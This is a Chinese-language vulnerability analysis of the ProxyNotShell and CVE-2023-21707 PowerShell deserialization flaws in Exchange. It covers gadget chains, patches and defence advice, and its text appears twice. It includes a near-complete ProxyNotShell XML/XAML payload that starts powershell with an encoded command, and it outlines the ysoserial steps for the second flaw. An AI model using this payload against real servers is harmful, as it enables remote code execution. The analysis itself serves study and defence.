Proxynotshell 反序列化及 CVE-2023-21707 漏洞研究
字数 2354 2025-08-24 16:48:07

PowerShell 反序列化漏洞深度分析:Proxynotshell 与 CVE-2023-21707

漏洞概述

本文深入分析两个关键的 PowerShell 反序列化漏洞:Proxynotshell 和 CVE-2023-21707。这两个漏洞都利用了 PowerShell 序列化/反序列化机制中的缺陷,最终导致远程代码执行。

核心漏洞原理

PowerShell 反序列化流程

PowerShell 处理 XML 数据的基本流程:

  1. XML 信息传入后被 PSSerializer.Deserialize 反序列化为 PSObject
  2. targetTypeForDeserialization 不为空时,ReadOneObject 会调用 LanguagePrimitives.ConvertTo 将对象转换为指定类型

关键代码片段:

protected PSObject(SerializationInfo info, StreamingContext context) {
    string text = info.GetValue("CliXml", typeof(string)) as string;
    PSObject psobject = PSObject.AsPSObject(PSSerializer.Deserialize(text));
    this.CommonInitialization(psobject.ImmediateBaseObject);
    PSObject.CopyDeserializerFields(psobject, this);
}

类型转换机制

targetTypeForDeserialization 通过以下路径获取:

  1. GetTargetTypeForDeserialization 调用 GetPSStandardMember
  2. GetPSStandardMember 使用 TypeTableGetMemberDelegate 根据对象类型和 types.ps1xml 查找 PSStandardMembers
  3. 最终通过 GetMemberCollection 获取成员信息集合

关键点:使用 PSMemberViewTypes.All 允许通过 extendedadapted 属性自定义类型,从而控制反序列化过程。

Proxynotshell 漏洞分析

漏洞利用链

  1. 攻击者构造包含 Microsoft.PowerShell.Commands.Internal.Format.FormatInfoData 类的恶意 XML
  2. 该类包含 TargetTypeForDeserialization 属性,指定为 System.Exception
  3. 利用 LanguagePrimitives.ConvertTo 的第三种转换方式:调用指定类型的静态 Parse(string) 方法

关键 Payload 结构

<Obj N="Args" RefId="12">
  <TNRef RefId="0"/>
  <LST>
    <Obj RefId="13">
      <MS>
        <S N="N">-Identity:</S>
        <Obj N="V" RefId="14">
          <TN RefId="2">
            <T>Microsoft.PowerShell.Commands.Internal.Format.FormatInfoData</T>
            <T>System.Object</T>
          </TN>
          <Props>
            <S N="Name">Type</S>
            <Obj N="TargetTypeForDeserialization">
              <TN RefId="2">
                <T>System.Exception</T>
                <T>System.Object</T>
              </TN>
              <MS>
                <BA N="SerializationData">AAEAAAD/////AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAAAgU3lzdGVtLldpbmRvd3MuTWFya3VwLlhhbWxSZWFkZXIEAAAABgMAAABYUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA>
              </MS>
            </Obj>
          </Props>
          <S><![CDATA[<ObjectDataProvider MethodName="Start" IsInitialLoadEnabled="False" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
            <ObjectDataProvider.ObjectInstance>
              <sd:Process>
                <sd:Process.StartInfo>
                  <sd:ProcessStartInfo Arguments="-e 
$$
POWERSHELL_ENCODE_PAYLOAD_HERE
$$
" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="powershell"/>
                </sd:Process.StartInfo>
              </sd:Process>
            </ObjectDataProvider.ObjectInstance>
          </ObjectDataProvider>]]></S>
        </Obj>
      </MS>
    </Obj>
  </LST>
</Obj>

详细利用过程

  1. 初始反序列化TargetTypeForDeserialization 指定的 System.Exception 被处理
  2. 类型转换:调用 Microsoft.Exchange.Data.SerializationTypeConverter.DeserializeObject
  3. 二次反序列化
    • CanConvert 方法提取 SerializationData 字节数组
    • Deserialize 方法使用 BinaryFormatter 反序列化数据
    • 白名单中包含 System.UnitySerializationHolder,被用于进一步利用
  4. XAML解析:最终通过 System.Windows.Markup.XamlReader.Parse 方法解析恶意XAML,执行任意命令

CVE-2023-21707 漏洞分析

与Proxynotshell的区别

虽然利用流程类似,但CVE-2023-21707使用了不同的二次反序列化gadget:

  1. 利用白名单中的 Microsoft.Exchange.Security.Authentication.GenericSidIdentity
  2. 该类继承自 ClaimsIdentity,是著名的.NET反序列化gadget

关键利用链

  1. GenericSidIdentity 继承 ClaimsIdentity
  2. ClaimsIdentityOnDeserializedMethodm_serializedClaims 进行二次反序列化
  3. DeserializeClaims 方法使用 BinaryFormatter 反序列化base64解码后的数据

关键代码:

private void DeserializeClaims(string serializedClaims) {
    using (MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(serializedClaims))) {
        this.m_instanceClaims = (List<Claim>)new BinaryFormatter().Deserialize(memoryStream, null, false);
    }
}

攻击Payload构造

  1. 使用ysoserial生成 ClaimsIdentityBinaryFormatter payload
  2. 将payload的base64编码数据通过反射放入 GenericSidIdentitym_serializedClaims
  3. 序列化 GenericSidIdentity 并写入exception的 SerializationData

漏洞修复方案

Proxynotshell修复

引入了 UnitySerializationHolderSurrogateSelector,在 System.UnitySerializationHolder 反序列化过程中验证目标类型,阻止了 Parse(string) 方法的恶意调用。

CVE-2023-21707修复

Microsoft通过更新白名单和加强类型验证来修复此漏洞,具体包括:

  1. 限制 BinaryFormatter 反序列化的类型
  2. 加强 ClaimsIdentity 的反序列化验证

防御建议

  1. 及时安装最新的安全更新
  2. 限制PowerShell远程访问
  3. 实施代码完整性策略,限制非授权脚本执行
  4. 监控和审核PowerShell活动日志
  5. 考虑禁用或限制 BinaryFormatter 的使用

参考资源

  1. BlackHat USA 2017: Friday the 13th JSON Attacks
  2. ZDI: Control Your Types or Get Pwned
PowerShell 反序列化漏洞深度分析:Proxynotshell 与 CVE-2023-21707 漏洞概述 本文深入分析两个关键的 PowerShell 反序列化漏洞:Proxynotshell 和 CVE-2023-21707。这两个漏洞都利用了 PowerShell 序列化/反序列化机制中的缺陷,最终导致远程代码执行。 核心漏洞原理 PowerShell 反序列化流程 PowerShell 处理 XML 数据的基本流程: XML 信息传入后被 PSSerializer.Deserialize 反序列化为 PSObject 类 当 targetTypeForDeserialization 不为空时, ReadOneObject 会调用 LanguagePrimitives.ConvertTo 将对象转换为指定类型 关键代码片段: 类型转换机制 targetTypeForDeserialization 通过以下路径获取: GetTargetTypeForDeserialization 调用 GetPSStandardMember GetPSStandardMember 使用 TypeTableGetMemberDelegate 根据对象类型和 types.ps1xml 查找 PSStandardMembers 最终通过 GetMemberCollection 获取成员信息集合 关键点:使用 PSMemberViewTypes.All 允许通过 extended 或 adapted 属性自定义类型,从而控制反序列化过程。 Proxynotshell 漏洞分析 漏洞利用链 攻击者构造包含 Microsoft.PowerShell.Commands.Internal.Format.FormatInfoData 类的恶意 XML 该类包含 TargetTypeForDeserialization 属性,指定为 System.Exception 利用 LanguagePrimitives.ConvertTo 的第三种转换方式:调用指定类型的静态 Parse(string) 方法 关键 Payload 结构 详细利用过程 初始反序列化 : TargetTypeForDeserialization 指定的 System.Exception 被处理 类型转换 :调用 Microsoft.Exchange.Data.SerializationTypeConverter.DeserializeObject 二次反序列化 : CanConvert 方法提取 SerializationData 字节数组 Deserialize 方法使用 BinaryFormatter 反序列化数据 白名单中包含 System.UnitySerializationHolder ,被用于进一步利用 XAML解析 :最终通过 System.Windows.Markup.XamlReader.Parse 方法解析恶意XAML,执行任意命令 CVE-2023-21707 漏洞分析 与Proxynotshell的区别 虽然利用流程类似,但CVE-2023-21707使用了不同的二次反序列化gadget: 利用白名单中的 Microsoft.Exchange.Security.Authentication.GenericSidIdentity 类 该类继承自 ClaimsIdentity ,是著名的.NET反序列化gadget 关键利用链 GenericSidIdentity 继承 ClaimsIdentity ClaimsIdentity 的 OnDeserializedMethod 对 m_serializedClaims 进行二次反序列化 DeserializeClaims 方法使用 BinaryFormatter 反序列化base64解码后的数据 关键代码: 攻击Payload构造 使用ysoserial生成 ClaimsIdentity 的 BinaryFormatter payload 将payload的base64编码数据通过反射放入 GenericSidIdentity 的 m_serializedClaims 序列化 GenericSidIdentity 并写入exception的 SerializationData 漏洞修复方案 Proxynotshell修复 引入了 UnitySerializationHolderSurrogateSelector ,在 System.UnitySerializationHolder 反序列化过程中验证目标类型,阻止了 Parse(string) 方法的恶意调用。 CVE-2023-21707修复 Microsoft通过更新白名单和加强类型验证来修复此漏洞,具体包括: 限制 BinaryFormatter 反序列化的类型 加强 ClaimsIdentity 的反序列化验证 防御建议 及时安装最新的安全更新 限制PowerShell远程访问 实施代码完整性策略,限制非授权脚本执行 监控和审核PowerShell活动日志 考虑禁用或限制 BinaryFormatter 的使用 参考资源 BlackHat USA 2017: Friday the 13th JSON Attacks ZDI: Control Your Types or Get Pwned